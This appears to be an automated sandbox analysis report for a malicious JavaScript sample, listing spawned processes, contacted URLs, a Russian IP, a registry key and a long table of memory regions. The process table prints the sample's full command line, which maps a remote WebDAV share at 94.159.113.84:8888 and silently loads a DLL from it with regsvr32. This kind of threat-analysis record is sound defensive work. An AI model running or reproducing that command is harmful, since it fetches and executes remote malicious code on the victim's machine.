Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23276189011851115158.js"
|
 |
|
|
C:\Windows\System32\cmd.exe
|
"C:\Windows\System32\cmd.exe" /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\98521559926943.dll
|
|
|
|
C:\Windows\System32\cmd.exe
|
cmd /c net use \\94.159.113.84@8888\davwwwroot\
|
|
|
|
C:\Windows\System32\net.exe
|
net use \\94.159.113.84@8888\davwwwroot\
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\timeout.exe
|
timeout 1
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://94.159.113.84:8888/paceTcy
|
unknown
|
||
|
http://94.159.113.84:8888/
|
unknown
|
||
|
http://94.159.113.84:8888/WH
|
unknown
|
||
|
http://94.159.113.84:8888/gH
|
unknown
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
94.159.113.84
|
unknown
|
Russian Federation
|
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
|
JScriptSetScriptStateStarted
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
A5EEF8000
|
stack
|
page read and write
|
||
|
13BA6E1F000
|
heap
|
page read and write
|
||
|
A5F2FE000
|
stack
|
page read and write
|
||
|
13BA67A5000
|
heap
|
page read and write
|
||
|
13BA6E0D000
|
heap
|
page read and write
|
||
|
13BA6E43000
|
heap
|
page read and write
|
||
|
13BA6BBD000
|
heap
|
page read and write
|
||
|
13BA6E2F000
|
heap
|
page read and write
|
||
|
13BA4E1B000
|
heap
|
page read and write
|
||
|
AC70C7C000
|
stack
|
page read and write
|
||
|
13BA6C00000
|
heap
|
page read and write
|
||
|
13BA6E59000
|
heap
|
page read and write
|
||
|
13BA6E44000
|
heap
|
page read and write
|
||
|
13BA6E59000
|
heap
|
page read and write
|
||
|
13BA6E03000
|
heap
|
page read and write
|
||
|
13BA6E1C000
|
heap
|
page read and write
|
||
|
A5F3FE000
|
stack
|
page read and write
|
||
|
13BA6E19000
|
heap
|
page read and write
|
||
|
279AFB39000
|
heap
|
page read and write
|
||
|
13BA6E05000
|
heap
|
page read and write
|
||
|
13BA6E2B000
|
heap
|
page read and write
|
||
|
13BA4E10000
|
heap
|
page read and write
|
||
|
13BA6EDD000
|
heap
|
page read and write
|
||
|
13BA6CD7000
|
heap
|
page read and write
|
||
|
A0EAC7E000
|
stack
|
page read and write
|
||
|
279AFAB0000
|
remote allocation
|
page read and write
|
||
|
13BA66BF000
|
heap
|
page read and write
|
||
|
A5F7FE000
|
stack
|
page read and write
|
||
|
13BA6E00000
|
heap
|
page read and write
|
||
|
13BA66C8000
|
heap
|
page read and write
|
||
|
279AFB35000
|
heap
|
page read and write
|
||
|
13BA66B2000
|
heap
|
page read and write
|
||
|
279AFDB5000
|
heap
|
page read and write
|
||
|
13BA6B91000
|
heap
|
page read and write
|
||
|
13BA6E4E000
|
heap
|
page read and write
|
||
|
13BA6770000
|
heap
|
page read and write
|
||
|
A5F6FE000
|
stack
|
page read and write
|
||
|
13BA7000000
|
heap
|
page read and write
|
||
|
13BA4D3E000
|
heap
|
page read and write
|
||
|
A0EA98A000
|
stack
|
page read and write
|
||
|
13BA6E74000
|
heap
|
page read and write
|
||
|
13BA673C000
|
heap
|
page read and write
|
||
|
13BA67B0000
|
heap
|
page read and write
|
||
|
279AFB55000
|
heap
|
page read and write
|
||
|
13BA6E17000
|
heap
|
page read and write
|
||
|
13BA6E03000
|
heap
|
page read and write
|
||
|
13BA4E19000
|
heap
|
page read and write
|
||
|
13BA6BB5000
|
heap
|
page read and write
|
||
|
279AFDB0000
|
heap
|
page read and write
|
||
|
13BA6E55000
|
heap
|
page read and write
|
||
|
13BA6F0D000
|
heap
|
page read and write
|
||
|
279AFB00000
|
heap
|
page read and write
|
||
|
13BA6E17000
|
heap
|
page read and write
|
||
|
279AFAB0000
|
remote allocation
|
page read and write
|
||
|
13BA66B4000
|
heap
|
page read and write
|
||
|
2800CFD0000
|
heap
|
page read and write
|
||
|
279AFB3F000
|
heap
|
page read and write
|
||
|
13BA6E43000
|
heap
|
page read and write
|
||
|
2800CFC0000
|
heap
|
page read and write
|
||
|
279AFB35000
|
heap
|
page read and write
|
||
|
AC70CFE000
|
stack
|
page read and write
|
||
|
13BA6E0C000
|
heap
|
page read and write
|
||
|
279AFA60000
|
heap
|
page read and write
|
||
|
13BA6E4F000
|
heap
|
page read and write
|
||
|
A5FBFC000
|
stack
|
page read and write
|
||
|
AC70D7F000
|
stack
|
page read and write
|
||
|
13BA66BC000
|
heap
|
page read and write
|
||
|
279AF960000
|
heap
|
page read and write
|
||
|
13BA66D8000
|
heap
|
page read and write
|
||
|
279AFB6D000
|
heap
|
page read and write
|
||
|
A0EACFE000
|
stack
|
page read and write
|
||
|
13BA4C70000
|
heap
|
page read and write
|
||
|
2800EA55000
|
heap
|
page read and write
|
||
|
2800D000000
|
heap
|
page read and write
|
||
|
13BA4D0F000
|
heap
|
page read and write
|
||
|
279AFB67000
|
heap
|
page read and write
|
||
|
13BA66B1000
|
heap
|
page read and write
|
||
|
13BA6E17000
|
heap
|
page read and write
|
||
|
13BA6E36000
|
heap
|
page read and write
|
||
|
13BA66FC000
|
heap
|
page read and write
|
||
|
13BA66B3000
|
heap
|
page read and write
|
||
|
A5F5FF000
|
stack
|
page read and write
|
||
|
13BA6E39000
|
heap
|
page read and write
|
||
|
13BA6E0A000
|
heap
|
page read and write
|
||
|
13BA4E1B000
|
heap
|
page read and write
|
||
|
279AFB10000
|
heap
|
page read and write
|
||
|
13BA6E4E000
|
heap
|
page read and write
|
||
|
2800E980000
|
heap
|
page read and write
|
||
|
13BA6B00000
|
heap
|
page read and write
|
||
|
13BA6EB1000
|
heap
|
page read and write
|
||
|
13BA6E36000
|
heap
|
page read and write
|
||
|
13BA6E14000
|
heap
|
page read and write
|
||
|
13BA6E13000
|
heap
|
page read and write
|
||
|
13BA6E01000
|
heap
|
page read and write
|
||
|
A0EADFC000
|
stack
|
page read and write
|
||
|
13BA7001000
|
heap
|
page read and write
|
||
|
13BA6E5D000
|
heap
|
page read and write
|
||
|
13BA66E8000
|
heap
|
page read and write
|
||
|
13BA4AA0000
|
heap
|
page read and write
|
||
|
13BA4C40000
|
heap
|
page read and write
|
||
|
13BA4C49000
|
heap
|
page read and write
|
||
|
13BA6E4E000
|
heap
|
page read and write
|
||
|
279AFB2D000
|
heap
|
page read and write
|
||
|
A5F8FE000
|
stack
|
page read and write
|
||
|
13BA6E1D000
|
heap
|
page read and write
|
||
|
13BA4B80000
|
heap
|
page read and write
|
||
|
13BA4D2D000
|
heap
|
page read and write
|
||
|
279AFB07000
|
heap
|
page read and write
|
||
|
13BA6E74000
|
heap
|
page read and write
|
||
|
13BA6E0A000
|
heap
|
page read and write
|
||
|
13BA6E75000
|
heap
|
page read and write
|
||
|
13BA6E19000
|
heap
|
page read and write
|
||
|
279AFB36000
|
heap
|
page read and write
|
||
|
13BA6E74000
|
heap
|
page read and write
|
||
|
13BA6E74000
|
heap
|
page read and write
|
||
|
279AFA40000
|
heap
|
page read and write
|
||
|
13BA66B6000
|
heap
|
page read and write
|
||
|
13BA70C0000
|
heap
|
page read and write
|
||
|
279AFAB0000
|
remote allocation
|
page read and write
|
||
|
13BA6E17000
|
heap
|
page read and write
|
||
|
13BA6E74000
|
heap
|
page read and write
|
||
|
2800EA50000
|
heap
|
page read and write
|
||
|
13BA6E1A000
|
heap
|
page read and write
|
||
|
A0EAD7E000
|
stack
|
page read and write
|
||
|
13BA6E74000
|
heap
|
page read and write
|
||
|
13BA4C82000
|
heap
|
page read and write
|
||
|
279AFB2E000
|
heap
|
page read and write
|
||
|
13BA6BBC000
|
heap
|
page read and write
|
||
|
13BA6E89000
|
heap
|
page read and write
|
||
|
13BA6754000
|
heap
|
page read and write
|
||
|
13BA6E22000
|
heap
|
page read and write
|
||
|
13BA6F41000
|
heap
|
page read and write
|
||
|
13BA6E03000
|
heap
|
page read and write
|
||
|
13BA6724000
|
heap
|
page read and write
|
||
|
13BA6789000
|
heap
|
page read and write
|
||
|
13BA6E07000
|
heap
|
page read and write
|
||
|
13BA4E1C000
|
heap
|
page read and write
|
||
|
13BA4E15000
|
heap
|
page read and write
|
||
|
2800D009000
|
heap
|
page read and write
|
||
|
13BA6E09000
|
heap
|
page read and write
|
||
|
13BA4BA0000
|
heap
|
page read and write
|
||
|
279AFB33000
|
heap
|
page read and write
|
||
|
13BA4D3E000
|
heap
|
page read and write
|
||
|
13BA6E08000
|
heap
|
page read and write
|
||
|
13BA6E01000
|
heap
|
page read and write
|
||
|
13BA4D2E000
|
heap
|
page read and write
|
||
|
13BA66B0000
|
heap
|
page read and write
|
||
|
13BA4E1D000
|
heap
|
page read and write
|
||
|
13BA6E12000
|
heap
|
page read and write
|
||
|
13BA6710000
|
heap
|
page read and write
|
||
|
A0EAE7F000
|
stack
|
page read and write
|
||
|
13BA4D3E000
|
heap
|
page read and write
|
||
|
A5F9FE000
|
stack
|
page read and write
|
There are 143 hidden memdumps, click here to show them.